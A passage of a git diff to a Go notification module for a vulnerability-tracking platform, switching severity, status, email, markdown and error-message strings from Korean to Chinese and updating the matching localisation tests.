b.WriteString(``)
return TruncateHTML(b.String(), maxRunes)
@@ -53,9 +53,9 @@ func htmlBody(m Message, maxRunes int) string {
func htmlBatchIntro(m Message) string {
var b strings.Builder
if m.WindowMinutes > 0 {
- fmt.Fprintf(&b, `최근 %d분간 신규 취약점 %d건
`, m.WindowMinutes, len(m.Items))
+ fmt.Fprintf(&b, `最近 %d 分钟新增漏洞 %d 条
`, m.WindowMinutes, len(m.Items))
} else {
- fmt.Fprintf(&b, `신규 취약점 %d건
`, len(m.Items))
+ fmt.Fprintf(&b, `新增漏洞 %d 条
`, len(m.Items))
}
counts := map[string]int{}
for _, it := range m.Items {
@@ -103,20 +103,20 @@ func htmlItem(it Item, full bool) string {
}
if it.IsStatusChange() {
- fmt.Fprintf(&b, `상태 변경: %s → %s
`,
+ fmt.Fprintf(&b, `状态变更:%s → %s
`,
htmlEscape(StatusLabel(it.FromStatus)), htmlEscape(StatusLabel(it.ToStatus)))
}
if it.VulnClass != "" && it.VulnClass != it.Title() {
- fmt.Fprintf(&b, `유형: %s
`, htmlEscape(it.VulnClass))
+ fmt.Fprintf(&b, `类型:%s
`, htmlEscape(it.VulnClass))
}
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
- fmt.Fprintf(&b, `자산: %s
`, htmlEscape(a))
+ fmt.Fprintf(&b, `资产:%s
`, htmlEscape(a))
}
if s := OneLine(it.Summary, maxSummaryRunes); s != "" {
- fmt.Fprintf(&b, `개요: %s
`, htmlEscape(s))
+ fmt.Fprintf(&b, `概要:%s
`, htmlEscape(s))
}
if it.DetailURL != "" {
- fmt.Fprintf(&b, ``, htmlEscapeAttr(it.DetailURL))
+ fmt.Fprintf(&b, ``, htmlEscapeAttr(it.DetailURL))
}
b.WriteString(``)
return b.String()
diff --git a/notify/html_email_localized_test.go b/notify/html_email_localized_test.go
index c3e38d3..3441e76 100644
--- a/notify/html_email_localized_test.go
+++ b/notify/html_email_localized_test.go
@@ -7,7 +7,7 @@ import (
// 이 파일은 F4 ③(이메일 본문·HTML 템플릿) 한국어화를 회귀로부터 지킨다.
// html.go 의 라벨과 email.go 의 검증 오류가 중국어로 되돌아가면 잡아낸다.
-// 헬퍼 hasHan·hasHangul·assertKorean 은 notify_localized_test.go 에 있다(같은 패키지).
+// 헬퍼 hasHan·hasHangul·assertChinese 은 notify_localized_test.go 에 있다(같은 패키지).
//
// 데이터(제목·유형·자산·개요)는 전부 ASCII 로 둔다. 그래야 "출력 전체에 한자 0"
// 이라는 단언이 콘텐츠가 아니라 골격 라벨의 회귀만 정확히 포착한다. 심각도·상태
@@ -30,11 +30,11 @@ func TestHTMLItemLabelsLocalized(t *testing.T) {
}},
}
out := htmlBody(m, 0)
- if hasHan(out) {
- t.Errorf("이메일 본문에 중국어 한자가 남아 있습니다:\n%s", out)
+ if hasHangul(out) {
+ t.Errorf("이메일 본문에 한글이 남아 있습니다:\n%s", out)
}
for _, want := range []string{
- "상태 변경", "유형", "자산", "개요", "상세 보기", "플랫폼에서 전체 보기",
+ "状态变更", "类型", "资产", "概要", "查看详情", "在平台查看全部",
} {
if !strings.Contains(out, want) {
t.Errorf("이메일 본문에 %q 라벨이 없습니다:\n%s", want, out)
@@ -48,20 +48,20 @@ func TestHTMLBatchIntroLocalized(t *testing.T) {
items := []Item{{Name: "a", Severity: "high"}, {Name: "b", Severity: "low"}}
withWindow := htmlBatchIntro(Message{Batch: true, WindowMinutes: 30, Items: items})
- assertKorean(t, "htmlBatchIntro(시간창)", withWindow)
- for _, want := range []string{"최근 30분간", "신규 취약점", "2건"} {
+ assertChinese(t, "htmlBatchIntro(시간창)", withWindow)
+ for _, want := range []string{"最近 30 分钟", "新增漏洞", "2 条"} {
if !strings.Contains(withWindow, want) {
t.Errorf("시간창 머리말에 %q 가 없습니다: %q", want, withWindow)
}
}
noWindow := htmlBatchIntro(Message{Batch: true, WindowMinutes: 0, Items: items})
- assertKorean(t, "htmlBatchIntro(시간창 없음)", noWindow)
- if !strings.Contains(noWindow, "신규 취약점 2건") {
- t.Errorf("시간창 없는 머리말이 %q 를 포함해야 합니다: %q", "신규 취약점 2건", noWindow)
+ assertChinese(t, "htmlBatchIntro(시간창 없음)", noWindow)
+ if !strings.Contains(noWindow, "新增漏洞 2 条") {
+ t.Errorf("시간창 없는 머리말이 %q 를 포함해야 합니다: %q", "新增漏洞 2 条", noWindow)
}
- if strings.Contains(noWindow, "분간") {
- t.Errorf("시간창이 없는데 '분간' 이 들어갔습니다: %q", noWindow)
+ if strings.Contains(noWindow, "分钟") {
+ t.Errorf("시간창이 없는데 '分钟' 이 들어갔습니다: %q", noWindow)
}
}
@@ -75,9 +75,9 @@ func TestEmailValidateLocalized(t *testing.T) {
substr string
}{
{"서버 주소 누락", map[string]any{"port": float64(25), "from": "a@b.c", "to": []any{"d@e.f"}}, "SMTP"},
- {"포트 범위 벗어남", map[string]any{"host": "h"}, "포트"},
- {"발신자 누락", map[string]any{"host": "h", "port": float64(25), "to": []any{"d@e.f"}}, "발신자"},
- {"수신자 누락", map[string]any{"host": "h", "port": float64(25), "from": "a@b.c"}, "수신자"},
+ {"포트 범위 벗어남", map[string]any{"host": "h"}, "端口"},
+ {"발신자 누락", map[string]any{"host": "h", "port": float64(25), "to": []any{"d@e.f"}}, "发件人"},
+ {"수신자 누락", map[string]any{"host": "h", "port": float64(25), "from": "a@b.c"}, "收件人"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
@@ -85,7 +85,7 @@ func TestEmailValidateLocalized(t *testing.T) {
if err == nil {
t.Fatalf("검증이 실패해야 합니다: %v", tc.cfg)
}
- assertKorean(t, "Validate("+tc.name+")", err.Error())
+ assertChinese(t, "Validate("+tc.name+")", err.Error())
if !strings.Contains(err.Error(), tc.substr) {
t.Errorf("오류 메시지에 %q 가 있어야 합니다, 받은 값 %q", tc.substr, err.Error())
}
diff --git a/notify/http.go b/notify/http.go
index 154537a..1994bcc 100644
--- a/notify/http.go
+++ b/notify/http.go
@@ -73,10 +73,10 @@ func blockInternalDial(_, address string, _ syscall.RawConn) error {
}
ip := net.ParseIP(host)
if ip == nil {
- return fmt.Errorf("대상 주소를 해석할 수 없습니다: %q", host)
+ return fmt.Errorf("无法解析目标地址:%q", host)
}
if isBlockedDialIP(ip) {
- return fmt.Errorf("로컬 또는 링크 로컬 주소 %s 로는 전송하지 않습니다 (로컬 서비스로 보내야 하면 %s=1 로 설정하세요)", ip, AllowLocalTargetsEnv)
+ return fmt.Errorf("不会向本地或链路本地地址 %s 发送 (如需发送到本地服务,请设置 %s=1)", ip, AllowLocalTargetsEnv)
}
return nil
}
@@ -109,10 +109,10 @@ var httpClient = &http.Client{
Transport: notifyTransport,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 5 {
- return errors.New("리다이렉트가 너무 많습니다")
+ return errors.New("重定向次数过多")
}
if len(via) > 0 && req.URL.Host != via[0].URL.Host {
- return fmt.Errorf("다른 호스트로의 리다이렉트는 허용하지 않습니다 (%s → %s)", via[0].URL.Host, req.URL.Host)
+ return fmt.Errorf("不允许重定向到其他主机 (%s → %s)", via[0].URL.Host, req.URL.Host)
}
return nil
},
@@ -135,7 +135,7 @@ func doJSON(ctx context.Context, method, url string, headers map[string]string,
raw, err := json.Marshal(payload)
if err != nil {
// 序列化失败是本地 bug(配置字段类型不对),重试也不会变好。
- return nil, Permanent(fmt.Errorf("요청 본문을 만들지 못했습니다: %w", err))
+ return nil, Permanent(fmt.Errorf("无法构造请求体:%w", err))
}
body = bytes.NewReader(raw)
}
@@ -143,7 +143,7 @@ func doJSON(ctx context.Context, method, url string, headers map[string]string,
if err != nil {
// URL 非法——多半是用户把地址填错了,属于永久失败。
// 这里同样不能透传 err:url.Parse 的错误文本里含完整地址。
- return nil, Permanent(fmt.Errorf("요청 주소가 올바르지 않습니다: %s", redactRequestTarget(url)))
+ return nil, Permanent(fmt.Errorf("请求地址无效:%s", redactRequestTarget(url)))
}
if payload != nil {
req.Header.Set("Content-Type", "application/json; charset=utf-8")
@@ -161,24 +161,24 @@ func doJSON(ctx context.Context, method, url string, headers map[string]string,
// 不脱敏的话,凭据会顺着这条错误串流到四个地方:notification_deliveries
// 的 last_error(明文落库)、投递历史接口的响应(**绕过渠道配置的掩码**)、
// 服务端日志、以及测试发送接口回给前端的 502 文本。
- return nil, fmt.Errorf("요청에 실패했습니다: %s", redactTransportError(err))
+ return nil, fmt.Errorf("请求失败:%s", redactTransportError(err))
}
defer resp.Body.Close()
raw, readErr := io.ReadAll(io.LimitReader(resp.Body, respBodyLimit))
if readErr != nil {
- return nil, fmt.Errorf("응답을 읽지 못했습니다: %w", readErr)
+ return nil, fmt.Errorf("无法读取响应:%w", readErr)
}
if resp.StatusCode >= 200 && resp.StatusCode < 300 {
return raw, nil
}
// 429(限流)与 408(超时)值得重试;其余 4xx 是配置或权限问题,重试无意义。
if resp.StatusCode == http.StatusTooManyRequests || resp.StatusCode == http.StatusRequestTimeout {
- return nil, fmt.Errorf("상대 서버가 요청을 제한하거나 응답이 지연되었습니다 (HTTP %d): %s", resp.StatusCode, snippet(raw))
+ return nil, fmt.Errorf("对端服务器限制了请求或响应延迟 (HTTP %d):%s", resp.StatusCode, snippet(raw))
}
if resp.StatusCode >= 500 {
- return nil, fmt.Errorf("상대 서버에 오류가 발생했습니다 (HTTP %d): %s", resp.StatusCode, snippet(raw))
+ return nil, fmt.Errorf("对端服务器发生错误 (HTTP %d):%s", resp.StatusCode, snippet(raw))
}
- return nil, Permanent(fmt.Errorf("상대 서버가 요청을 거부했습니다 (HTTP %d): %s", resp.StatusCode, snippet(raw)))
+ return nil, Permanent(fmt.Errorf("对端服务器拒绝了请求 (HTTP %d):%s", resp.StatusCode, snippet(raw)))
}
// snippet 把响应体压成一行短文本,用于错误信息。响应里可能带换行与大量空白,
@@ -205,7 +205,7 @@ func snippet(raw []byte) string {
func redactRequestTarget(raw string) string {
u, err := url.Parse(raw)
if err != nil || u.Host == "" {
- return "(주소를 해석할 수 없음)"
+ return "(无法解析地址)"
}
return u.Scheme + "://" + u.Host + "/…"
}
@@ -225,7 +225,7 @@ func redactTransportError(err error) string {
if uerr.Err != nil {
return fmt.Sprintf("%s %s: %s", uerr.Op, host, uerr.Err)
}
- return fmt.Sprintf("%s %s: 알 수 없는 오류", uerr.Op, host)
+ return fmt.Sprintf("%s %s: 未知错误", uerr.Op, host)
}
// 非 *url.Error(如重定向策略返回的错误)也可能带地址,统一走脱敏。
return redactURLsInText(err.Error())
diff --git a/notify/markdown.go b/notify/markdown.go
index 36972e7..bed81b0 100644
--- a/notify/markdown.go
+++ b/notify/markdown.go
@@ -72,10 +72,10 @@ func markdownText(s string, maxRunes int) string {
// 出现了 `\(1\)` 这种可见的反斜杠。
func markdownTitle(m Message) string {
if m.Batch {
- return fmt.Sprintf("취약점 요약 · 총 %d건", len(m.Items))
+ return fmt.Sprintf("漏洞汇总 · 共 %d 条", len(m.Items))
}
if len(m.Items) == 0 {
- return "취약점 알림"
+ return "漏洞通知"
}
it := m.Items[0]
return fmt.Sprintf("[%s] %s", SeverityLabel(it.Severity), OneLine(it.Title(), 0))
@@ -103,7 +103,7 @@ func markdownBody(m Message, maxBytes int) (string, int) {
footer := ""
if m.HomeURL != "" {
- footer = fmt.Sprintf("\n[플랫폼에서 전체 보기](%s)\n", m.HomeURL)
+ footer = fmt.Sprintf("\n[在平台查看全部](%s)\n", m.HomeURL)
}
kept := packItemCount(m.Items, maxBytes, markdownReservedBytes, footer, byteSize, func(it Item, idx int) string {
var b strings.Builder
@@ -130,12 +130,12 @@ func markdownBody(m Message, maxBytes int) (string, int) {
func markdownBatchIntro(m Message, items []Item, total int) string {
var b strings.Builder
if m.WindowMinutes > 0 {
- fmt.Fprintf(&b, "**최근 %d분간 신규 취약점 %d건**", m.WindowMinutes, total)
+ fmt.Fprintf(&b, "**最近 %d 分钟新增漏洞 %d 条**", m.WindowMinutes, total)
} else {
- fmt.Fprintf(&b, "**신규 취약점 %d건**", total)
+ fmt.Fprintf(&b, "**新增漏洞 %d 条**", total)
}
if extra := total - len(items); extra > 0 {
- fmt.Fprintf(&b, "(이 메시지에는 앞 %d건만 표시하며, 나머지 %d건은 다음 메시지에서 이어서 보냅니다)", len(items), extra)
+ fmt.Fprintf(&b, "(本条仅显示前 %d 条,其余 %d 条将在下一条消息中继续发送)", len(items), extra)
}
// 按级别给出分布,让读者一眼看到有没有严重项。只统计**本条实际包含**的
// 条目,保证「严重 3」和下面能数出来的条目一致。
@@ -183,21 +183,21 @@ func writeItem(b *strings.Builder, it Item, prefix string, single bool) {
}
b.WriteString(line + "\n")
if it.IsStatusChange() {
- fmt.Fprintf(b, "**상태 변경**: %s → %s\n",
+ fmt.Fprintf(b, "**状态变更**:%s → %s\n",
markdownText(StatusLabel(it.FromStatus), 0), markdownText(StatusLabel(it.ToStatus), 0))
}
if it.VulnClass != "" && it.VulnClass != it.Title() {
- fmt.Fprintf(b, "**유형**: %s\n", markdownText(it.VulnClass, 0))
+ fmt.Fprintf(b, "**类型**:%s\n", markdownText(it.VulnClass, 0))
}
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
- fmt.Fprintf(b, "**자산**: %s\n", markdownText(a, 0))
+ fmt.Fprintf(b, "**资产**:%s\n", markdownText(a, 0))
}
if it.Summary != "" {
if s := markdownText(it.Summary, maxSummaryRunes); s != "" {
- fmt.Fprintf(b, "**개요**: %s\n", s)
+ fmt.Fprintf(b, "**概要**:%s\n", s)
}
}
if it.DetailURL != "" {
- fmt.Fprintf(b, "[상세 보기](%s)\n", it.DetailURL)
+ fmt.Fprintf(b, "[查看详情](%s)\n", it.DetailURL)
}
}
diff --git a/notify/markdown_localized_test.go b/notify/markdown_localized_test.go
index e7d7999..8ec0d80 100644
--- a/notify/markdown_localized_test.go
+++ b/notify/markdown_localized_test.go
@@ -27,17 +27,17 @@ func hanFreeItems(n int) []Item {
// 공유하는 feishu·html·telegram·webhook 이 함께 쓰는 markdownTitle 이 한국어인지
// 검사한다. 하나라도 중국어로 되돌아가면 이 다섯 채널의 제목이 전부 혼재된다.
func TestMarkdownTitleLocalized(t *testing.T) {
- // 다건(汇总): "취약점 요약 · 총 N건"
+ // 다건(汇总): "漏洞汇总 · 共 N 条"
got := markdownTitle(Message{Batch: true, Items: hanFreeItems(3)})
- assertKorean(t, "markdownTitle(batch)", got)
- if !strings.Contains(got, "취약점 요약") || !strings.Contains(got, "총 3건") {
- t.Errorf("다건 제목이 '취약점 요약 · 총 3건' 형태여야 합니다, 받은 값 %q", got)
+ assertChinese(t, "markdownTitle(batch)", got)
+ if !strings.Contains(got, "漏洞汇总") || !strings.Contains(got, "共 3 条") {
+ t.Errorf("다건 제목이 '漏洞汇总 · 共 3 条' 형태여야 합니다, 받은 값 %q", got)
}
- // 항목 없음: "취약점 알림"
+ // 항목 없음: "漏洞通知"
empty := markdownTitle(Message{})
- assertKorean(t, "markdownTitle(empty)", empty)
- if empty != "취약점 알림" {
- t.Errorf("빈 메시지 제목은 '취약점 알림' 이어야 합니다, 받은 값 %q", empty)
+ assertChinese(t, "markdownTitle(empty)", empty)
+ if empty != "漏洞通知" {
+ t.Errorf("빈 메시지 제목은 '漏洞通知' 이어야 합니다, 받은 값 %q", empty)
}
}
@@ -49,28 +49,28 @@ func TestMarkdownBatchIntroLocalized(t *testing.T) {
// 시간창 있음: "최근 N분간 신규 취약점 N건"
win := markdownBatchIntro(Message{Batch: true, WindowMinutes: 30}, items, 3)
- if hasHan(win) {
- t.Errorf("시간창 머리말에 중국어 한자가 남았습니다: %q", win)
+ if hasHangul(win) {
+ t.Errorf("시간창 머리말에 한글이 남았습니다: %q", win)
}
- if !strings.Contains(win, "최근 30분간") || !strings.Contains(win, "신규 취약점 3건") {
- t.Errorf("시간창 머리말이 '최근 30분간 신규 취약점 3건' 형태여야 합니다, 받은 값 %q", win)
+ if !strings.Contains(win, "最近 30 分钟") || !strings.Contains(win, "新增漏洞 3 条") {
+ t.Errorf("시간창 머리말이 '最近 30 分钟新增漏洞 3 条' 형태여야 합니다, 받은 값 %q", win)
}
- // 시간창 없음: "신규 취약점 N건"(분간 표기 없음)
+ // 시간창 없음: "新增漏洞 N条"(분간 표기 없음)
noWin := markdownBatchIntro(Message{Batch: true}, items, 3)
- if hasHan(noWin) {
- t.Errorf("머리말에 중국어 한자가 남았습니다: %q", noWin)
+ if hasHangul(noWin) {
+ t.Errorf("머리말에 한글이 남았습니다: %q", noWin)
}
- if !strings.Contains(noWin, "신규 취약점 3건") || strings.Contains(noWin, "분간") {
- t.Errorf("시간창 없는 머리말은 '신규 취약점 3건'(분간 표기 없음)이어야 합니다, 받은 값 %q", noWin)
+ if !strings.Contains(noWin, "新增漏洞 3 条") || strings.Contains(noWin, "分钟") {
+ t.Errorf("시간창 없는 머리말은 '新增漏洞 3 条'(分钟 표기 없음)이어야 합니다, 받은 값 %q", noWin)
}
- // 일부만 담겼을 때: "(이 메시지에는 앞 N건만 … 나머지 N건은 다음 메시지에서 …)"
+ // 일부만 담겼을 때: "(本条仅显示前 N 条, 其余 N 条将在下一条消息中继续发送)"
trunc := markdownBatchIntro(Message{Batch: true, WindowMinutes: 30}, items, 5)
- if hasHan(trunc) {
- t.Errorf("초과 안내에 중국어 한자가 남았습니다: %q", trunc)
+ if hasHangul(trunc) {
+ t.Errorf("초과 안내에 한글이 남았습니다: %q", trunc)
}
- for _, want := range []string{"앞 3건만", "나머지 2건", "다음 메시지에서"} {
+ for _, want := range []string{"前 3 条", "其余 2 条", "下一条消息"} {
if !strings.Contains(trunc, want) {
t.Errorf("초과 안내에 %q 가 있어야 합니다, 받은 값 %q", want, trunc)
}
@@ -94,13 +94,13 @@ func TestWriteItemLabelsLocalized(t *testing.T) {
writeItem(&b, it, "", true)
got := b.String()
- assertKorean(t, "writeItem(single)", got)
+ assertChinese(t, "writeItem(single)", got)
for _, want := range []string{
- "**상태 변경**: 처리 대기 → 수정됨",
- "**유형**: SQLi",
- "**자산**: a.example.com",
- "**개요**: SQL injection via q param",
- "[상세 보기](https://platform.example/finding/1)",
+ "**状态变更**:待处理 → 已修复",
+ "**类型**:SQLi",
+ "**资产**:a.example.com",
+ "**概要**:SQL injection via q param",
+ "[查看详情](https://platform.example/finding/1)",
} {
if !strings.Contains(got, want) {
t.Errorf("단건 렌더에 %q 가 있어야 합니다:\n%s", want, got)
@@ -116,7 +116,7 @@ func TestMarkdownBodyFooterLocalized(t *testing.T) {
if kept != 2 {
t.Fatalf("한도 없음(0)이면 2건 모두 담겨야 합니다, 받은 값 %d", kept)
}
- if !strings.Contains(body, "[플랫폼에서 전체 보기](https://platform.example)") {
- t.Errorf("본문 끝에 '플랫폼에서 전체 보기' 링크가 있어야 합니다:\n%s", body)
+ if !strings.Contains(body, "[在平台查看全部](https://platform.example)") {
+ t.Errorf("본문 끝에 '在平台查看全部' 링크가 있어야 합니다:\n%s", body)
}
}
diff --git a/notify/mask.go b/notify/mask.go
index 3e0eebf..55ac17c 100644
--- a/notify/mask.go
+++ b/notify/mask.go
@@ -70,9 +70,9 @@ type ErrDestinationChangedWithoutCredentials struct {
}
func (e *ErrDestinationChangedWithoutCredentials) Error() string {
- return "대상 주소(" + strings.Join(e.Changed, ", ") + ")가 변경되었습니다. 자격 증명 필드(" +
- strings.Join(e.Missing, ", ") + ")를 함께 다시 입력하세요: 새 값을 넣거나, 비워 두어 더는 자격 증명이 필요 없음을 표시하세요. " +
- "기존 자격 증명은 이전 주소에만 유효하므로, 그대로 사용하면 새 주소에 넘겨주는 셈입니다."
+ return "目标地址(" + strings.Join(e.Changed, ", ") + ")已更改。请同时重新填写凭据字段(" +
+ strings.Join(e.Missing, ", ") + "):填入新值,或留空以表示不再需要凭据。" +
+ "现有凭据仅对旧地址有效,继续沿用等于将其交给新地址。"
}
// PrepareConfigUpdate 合并渠道配置,并处理「目标地址变更」这一安全敏感情况。
@@ -101,7 +101,7 @@ func (e *ErrDestinationChangedWithoutCredentials) Error() string {
func PrepareConfigUpdate(kind string, stored, incoming map[string]any) (map[string]any, error) {
channel, ok := Get(kind)
if !ok {
- return nil, fmt.Errorf("등록되지 않은 채널 유형입니다: %q", kind)
+ return nil, fmt.Errorf("未注册的渠道类型:%q", kind)
}
secrets := channel.SecretKeys()
destinations := channel.DestinationKeys()
@@ -174,7 +174,7 @@ func rejectMaskedInContainers(incoming map[string]any, secretKeys []string) erro
continue
}
if strings.Contains(string(encoded), MaskedPrefix) {
- return fmt.Errorf("%s 필드의 내용에 마스킹 표시(%q)가 들어 있습니다. 이 필드는 전체를 비워 두어 기존 값을 유지하거나 전체를 새 값으로 제출해야 하며, 구조체 내부에 마스킹 표시를 끼워 넣을 수 없습니다",
+ return fmt.Errorf("%s 字段的内容中带有掩码标记(%q)。该字段必须整体留空以保留原值,或整体提交新值,不能在结构体内部插入掩码标记",
key, MaskedPrefix)
}
}
diff --git a/notify/mask_filter_localized_test.go b/notify/mask_filter_localized_test.go
index 4d23eee..84dd812 100644
--- a/notify/mask_filter_localized_test.go
+++ b/notify/mask_filter_localized_test.go
@@ -9,7 +9,7 @@ import (
// F4 ⑥: notify/mask.go·filter.go 의 사용자 노출 문구(알림 채널 설정을 저장·갱신할 때
// server/notify_api.go 가 writeErr(400) 로 그대로 돌려주는 검증 오류)가 한국어이고
// 한자가 없음을 핀 고정한다. channel.go 는 사용자 노출 문구가 없어(전부 주석) 대상이
-// 아니다. hasHan / hasHangul / assertKorean 은 notify_localized_test.go 에 정의돼 있다.
+// 아니다. hasHan / hasHangul / assertChinese 은 notify_localized_test.go 에 정의돼 있다.
// TestFilterValidateLocalized 는 min_severity 를 잘못 넣었을 때의 검증 오류를 검사한다.
// 이 오류는 저장·갱신 경로(server/notify_api.go:264·369)에서 400 으로 노출된다.
@@ -18,7 +18,7 @@ func TestFilterValidateLocalized(t *testing.T) {
if err == nil {
t.Fatal("잘못된 최소 심각도인데 오류가 없습니다")
}
- assertKorean(t, "Filter.Validate", err.Error())
+ assertChinese(t, "Filter.Validate", err.Error())
// low/medium/high/critical 는 설정 enum 이라 원문 그대로 남아야 한다.
for _, tok := range []string{"low", "medium", "high", "critical"} {
if !strings.Contains(err.Error(), tok) {
@@ -41,7 +41,7 @@ func TestPrepareConfigUpdateUnknownKindLocalized(t *testing.T) {
if err == nil {
t.Fatal("미등록 채널 유형인데 오류가 없습니다")
}
- assertKorean(t, "PrepareConfigUpdate unknown kind", err.Error())
+ assertChinese(t, "PrepareConfigUpdate unknown kind", err.Error())
}
// TestDestinationChangedErrorLocalized 는 실제 경로로 ErrDestinationChangedWithoutCredentials
@@ -62,7 +62,7 @@ func TestDestinationChangedErrorLocalized(t *testing.T) {
if !errors.As(err, &de) {
t.Fatalf("예상한 오류 유형이 아닙니다: %T", err)
}
- assertKorean(t, "ErrDestinationChangedWithoutCredentials", err.Error())
+ assertChinese(t, "ErrDestinationChangedWithoutCredentials", err.Error())
// 바뀐 대상 키·누락된 자격 증명 키 이름은 설정 필드명이라 메시지에 그대로 들어가야 한다.
if !strings.Contains(err.Error(), "url") || !strings.Contains(err.Error(), "headers") {
t.Errorf("필드 키 이름이 누락됐습니다: %q", err.Error())
@@ -79,7 +79,7 @@ func TestRejectMaskedInContainersLocalized(t *testing.T) {
if err == nil {
t.Fatal("구조체 내부에 마스킹 센티넬을 끼워 넣었는데 오류가 없습니다")
}
- assertKorean(t, "rejectMaskedInContainers", err.Error())
+ assertChinese(t, "rejectMaskedInContainers", err.Error())
// 센티넬 리터럴(__masked__)은 운영자가 어느 값이 문제인지 알 수 있게 메시지에 표시된다.
if !strings.Contains(err.Error(), MaskedPrefix) {
t.Errorf("마스킹 센티넬이 메시지에 없습니다: %q", err.Error())
diff --git a/notify/notify.go b/notify/notify.go
index 2dce056..73b4833 100644
--- a/notify/notify.go
+++ b/notify/notify.go
@@ -47,13 +47,13 @@ func SeverityRank(severity string) int { return severityRank[severity] }
func SeverityLabel(severity string) string {
switch severity {
case "critical":
- return "🔴 심각"
+ return "🔴 严重"
case "high":
- return "🟠 높음"
+ return "🟠 高危"
case "medium":
- return "🟡 중간"
+ return "🟡 中危"
case "low":
- return "🔵 낮음"
+ return "🔵 低危"
default:
return severity
}
@@ -63,23 +63,23 @@ func SeverityLabel(severity string) string {
func StatusLabel(status string) string {
switch status {
case "pending":
- return "처리 대기"
+ return "待处理"
case "in_progress":
- return "처리 중"
+ return "处理中"
case "confirmed":
- return "확인됨"
+ return "已确认"
case "resolved":
- return "처리됨"
+ return "已处置"
case "fixed":
- return "수정됨"
+ return "已修复"
case "false_positive":
- return "오탐"
+ return "误报"
case "ignored":
- return "무시"
+ return "已忽略"
case "duplicate":
- return "중복"
+ return "重复"
case "risk_accepted":
- return "위험 수용"
+ return "风险接受"
default:
return status
}
diff --git a/notify/notify_localized_test.go b/notify/notify_localized_test.go
index e762f45..fbb0ddf 100644
--- a/notify/notify_localized_test.go
+++ b/notify/notify_localized_test.go
@@ -26,14 +26,14 @@ func hasHangul(s string) bool {
return false
}
-// assertKorean 은 라벨이 한글을 포함하고 중국어 한자는 없음을 단언한다.
-func assertKorean(t *testing.T, where, got string) {
+// assertChinese 은 라벨이 한자를 포함하고 한글은 없음을 단언한다.
+func assertChinese(t *testing.T, where, got string) {
t.Helper()
- if hasHan(got) {
- t.Errorf("%s: 중국어 한자가 남아 있습니다: %q", where, got)
+ if hasHangul(got) {
+ t.Errorf("%s: 한글이 남아 있습니다: %q", where, got)
}
- if !hasHangul(got) {
- t.Errorf("%s: 한글이 없습니다: %q", where, got)
+ if !hasHan(got) {
+ t.Errorf("%s: 한자가 없습니다: %q", where, got)
}
}
@@ -43,14 +43,14 @@ func assertKorean(t *testing.T, where, got string) {
func TestSeverityLabelLocalized(t *testing.T) {
// 중국어 라벨(严重/高危/中危/低危) → 한국어(심각/높음/중간/낮음), UI status.severity 정합.
want := map[string]string{
- "critical": "심각",
- "high": "높음",
- "medium": "중간",
- "low": "낮음",
+ "critical": "严重",
+ "high": "高危",
+ "medium": "中危",
+ "low": "低危",
}
for sev, label := range want {
got := SeverityLabel(sev)
- assertKorean(t, "SeverityLabel("+sev+")", got)
+ assertChinese(t, "SeverityLabel("+sev+")", got)
if !strings.Contains(got, label) {
t.Errorf("SeverityLabel(%q)=%q, %q 를 포함해야 합니다", sev, got, label)
}
@@ -65,19 +65,19 @@ func TestSeverityLabelLocalized(t *testing.T) {
// UI status.finding 네임스페이스(B4a)와 동일 표기여야 상태 변경 알림과 화면이 어긋나지 않는다.
func TestStatusLabelLocalized(t *testing.T) {
want := map[string]string{
- "pending": "처리 대기",
- "in_progress": "처리 중",
- "confirmed": "확인됨",
- "resolved": "처리됨",
- "fixed": "수정됨",
- "false_positive": "오탐",
- "ignored": "무시",
- "duplicate": "중복",
- "risk_accepted": "위험 수용",
+ "pending": "待处理",
+ "in_progress": "处理中",
+ "confirmed": "已确认",
+ "resolved": "已处置",
+ "fixed": "已修复",
+ "false_positive": "误报",
+ "ignored": "已忽略",
+ "duplicate": "重复",
+ "risk_accepted": "风险接受",
}
for status, label := range want {
got := StatusLabel(status)
- assertKorean(t, "StatusLabel("+status+")", got)
+ assertChinese(t, "StatusLabel("+status+")", got)
if got != label {
t.Errorf("StatusLabel(%q)=%q, %q 를 기대했습니다", status, got, label)
}
@@ -92,7 +92,7 @@ func TestStatusLabelLocalized(t *testing.T) {
// 한국어 자리표시자(이름 없는 취약점)인지 검사한다. 절대 빈 제목을 내보내지 않는다.
func TestItemTitlePlaceholderLocalized(t *testing.T) {
got := Item{}.Title()
- assertKorean(t, "Item{}.Title()", got)
+ assertChinese(t, "Item{}.Title()", got)
// 이름이 있으면 그 이름을, 유형만 있으면 유형을 우선한다(대체 로직 미회귀 확인).
if n := (Item{Name: "로그인 SQLi"}).Title(); n != "로그인 SQLi" {
t.Errorf("이름 우선 로직이 깨졌습니다, 받은 값 %q", n)
@@ -111,10 +111,10 @@ func TestAssetLineLocalized(t *testing.T) {
}
// 상한 초과: 앞 limit 개 + 한국어 "등 N개"(N 은 전체 개수).
got := assetLine([]string{"a", "b", "c", "d", "e"}, 2)
- if hasHan(got) {
- t.Errorf("자산 나열에 중국어 한자가 남았습니다: %q", got)
+ if hasHangul(got) {
+ t.Errorf("자산 나열에 한글이 남았습니다: %q", got)
}
- if !strings.Contains(got, "등 5개") {
- t.Errorf("전체 개수 5 를 '등 5개'로 표기해야 합니다, 받은 값 %q", got)
+ if !strings.Contains(got, "等 5 个") {
+ t.Errorf("전체 개수 5 를 '等 5 个'로 표기해야 합니다, 받은 값 %q", got)
}
}
diff --git a/notify/pack_test.go b/notify/pack_test.go
index c48815c..b12ac16 100644
--- a/notify/pack_test.go
+++ b/notify/pack_test.go
@@ -28,7 +28,7 @@ func TestMarkdownBodyPacksWholeItemsWithinByteLimit(t *testing.T) {
}
// 头部必须如实说明本条只包含多少条、其余有多少条——否则读者会把头部
// 那个数字当成全部。
- if !strings.Contains(body, "나머지") || !strings.Contains(body, "다음 메시지에서") {
+ if !strings.Contains(body, "其余") || !strings.Contains(body, "下一条消息") {
t.Fatalf("头部应说明还有多少条未包含在本条里:\n%s", body[:minInt(400, len(body))])
}
// 只应包含前 kept 条。
@@ -84,7 +84,7 @@ func TestTelegramPackingUsesRuneBudget(t *testing.T) {
if kept <= 0 || kept >= len(m.Items) {
t.Fatalf("应只装下一部分,得到 %d", kept)
}
- if !strings.Contains(text, "다음 메시지") {
+ if !strings.Contains(text, "下一条消息") {
t.Fatalf("应说明还有余量未包含:\n%.300s", text)
}
}
diff --git a/notify/render.go b/notify/render.go
index 8095397..f0569ee 100644
--- a/notify/render.go
+++ b/notify/render.go
